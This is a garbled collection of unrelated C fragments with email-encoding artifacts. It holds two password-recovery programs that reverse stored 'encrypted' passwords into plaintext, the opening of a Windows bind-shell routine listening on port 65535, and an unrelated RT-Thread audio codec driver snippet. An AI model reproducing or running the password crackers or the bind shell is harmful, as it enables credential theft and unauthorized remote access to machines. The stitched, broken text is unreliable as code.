int main() { unsigned char start[8] =3D { 0x27, 0x41, 0x72, 0x4a, 0x47, 0x75, 0x4b, = 0x3a }; unsigned char hash[8] =3D { '%', '}', 'S', 'p', '%', 'g', 'Z', '(' } ; /* Enter the encrypted password into hash above */ unsigned char except[8] =3D { '~', ':', 'k', 'C', '@', 'n', 'D', '3' }; unsigned char ex_order[7] =3D { 't', 'm', 'O', 'L', 's', 'B', 'R' }; unsigned char pass[8]; unsigned char i; unsigned char range; if(hash[0] >=3D '!' && hash[0] <=3D '&') hash[0]=3D(hash[0] - 0x20) + 0x7e; for(i=3D0;i<8;i++) { if(hash[i] >=3D except[i] && hash[i] <=3D (except[i] + 6) ) { pass[i]=3Dex_order[ (hash[i] - except[i]) ]; } else { if(hash[i] < start[i]) { hash[i]+=3D0x5e; } pass[i]=3Dhash[i] - start[i] + '!'; if(pass[i] >=3D 'B') pass[i]+=3D1; if(pass[i] >=3D 'L') pass[i]+=3D1; if(pass[i] >=3D 'O') pass[i]+=3D1; if(pass[i] >=3D 'R') pass[i]+=3D1; if(pass[i] >=3D 'm') pass[i]+=3D1; if(pass[i] >=3D 's') pass[i]+=3D1; if(pass[i] >=3D 't') pass[i]+=3D1; } } printf("The password is:\n\t"); for(i=3D0;i<8;i++) { printf("%c ", pass[i]); } printf("\n"); return 0; }
int BindShell(void) { //Bind Shell. POrt 65535 SOCKET s,s2; STARTUPINFO si; PROCESS_INFORMATION pi; WSADATA HWSAdata; struct sockaddr_in sa; int len; if (WSAStartup(MAKEWORD(2,2), &HWSAdata) !=3D 0) { exit(1); } if ((s=3DWSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))=3D=3DINVALID_SOC= KET){=20 exit(1); } sa.sin_family =3D AF_INET; sa.sin_port =3D (USHORT)htons(HAXORCITOS); sa.sin_addr.s_addr =3D htonl(INADDR_ANY); len=3Dsizeof(sa); if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) =3D=3D SOCKET_ERROR ) {= =20 return(-1); }
codec_send(r07); #if !CODEC_MASTER_MODE codec_sr_new = sr; #endif return RT_EOK; } FINSH_FUNCTION_EXPORT(vol, Set volume); FINSH_FUNCTION_EXPORT(eq1, Set EQ1(Cut-off, Gain, Mode)); FINSH_FUNCTION_EXPORT(eq2, Set EQ2(Center, Gain, Bandwidth)); FINSH_FUNCTION_EXPORT(eq3, Set EQ3(Center, Gain, Bandwidth)); FINSH_FUNCTION_EXPORT(eq4, Set EQ4(Center, Gain, Bandwidth)); FINSH_FUNCTION_EXPORT(eq5, Set EQ5(Cut-off, Gain)); FINSH_FUNCTION_EXPORT(eq3d, Set 3D(Depth)); FINSH_FUNCTION_EXPORT(sample_rate, Set sample rate); static rt_err_t codec_open(rt_device_t dev, rt_uint16_t oflag) { #if !CODEC_MASTER_MODE /* enable I2S */ I2S_Cmd(CODEC_I2S_PORT, ENABLE); #endif return RT_EOK; } static rt_err_t codec_close(rt_device_t dev) { #if CODEC_MASTER_MODE
void main() { unsigned char start_table[4][8] =3D { { 0x30, 0x4a, 0x7b, 0x53, 0x50, 0x7e, 0x54, 0x43 }, { 0x41, 0x5b, 0x2e, 0x64, 0x61, 0x31, 0x65, 0x54 }, { 0x60, 0x7a, 0x4d, 0x25, 0x22, 0x50, 0x26, 0x73 }, { 0x7e, 0x3a, 0x6b, 0x43, 0x40, 0x6e, 0x44, 0x33} }; unsigned char uname =3D 0x46; /* Just the first character from DIR=3D = entry */ unsigned char hash[8] =3D { 'E', '1', 'U', '0', 't', 'b', '*', '&' } ; unsigned char pass[8]; unsigned char i; unsigned char range; if(uname >=3D 0x30 && uname <=3D39) { for(i=3D0;i<=3D7;i++) { hash[i]+=3D1; } } for(i=3D0;i<8;i++) { if(hash[i] =3D=3D start_table[DEFAULT][i]) { pass[i] =3D uname; continue; } range=3DLOWER; /* hash values wrap to 0x21 after 0x7e */ if(hash[i] >=3D start_table[DIGIT][i] && hash[i] <=3D = (start_table[DIGIT][i] + 0x0a)) range =3D DIGIT; if(hash[i] >=3D start_table[UPPER][i] && hash[i] <=3D = (start_table[UPPER][i] + 0x1a)) range=3DUPPER; if(hash[i] >=3D start_table[LOWER][i] && hash[i] <=3D = (start_table[LOWER][i] + 0x1a)) range=3DLOWER; if(range=3D=3DDIGIT) { if(i=3D=3D2 || i=3D=3D5) { if(hash[i] < 0x73) { hash[i] =3D hash[i] + 0x5e; } } pass[i] =3D ( hash[i] - start_table[DIGIT][i] ) + 0x30; } if(range=3D=3DUPPER) { pass[i] =3D ( hash[i] - start_table[UPPER][i] ) + 0x41; if(pass[i] >=3D uname) pass[i]+=3D1; } if(range=3D=3DLOWER) { if(i=3D=3D1 || i =3D=3D7) { if(hash[i] < 0x73) { hash[i] =3D hash[i] + 0x5e; } } pass[i] =3D ( hash[i] - start_table[LOWER][i] ) + 0x61; } } printf("The password is:\n\t"); for(i=3D0;i<8;i++) { printf("%c ", pass[i]); } printf("\n"); }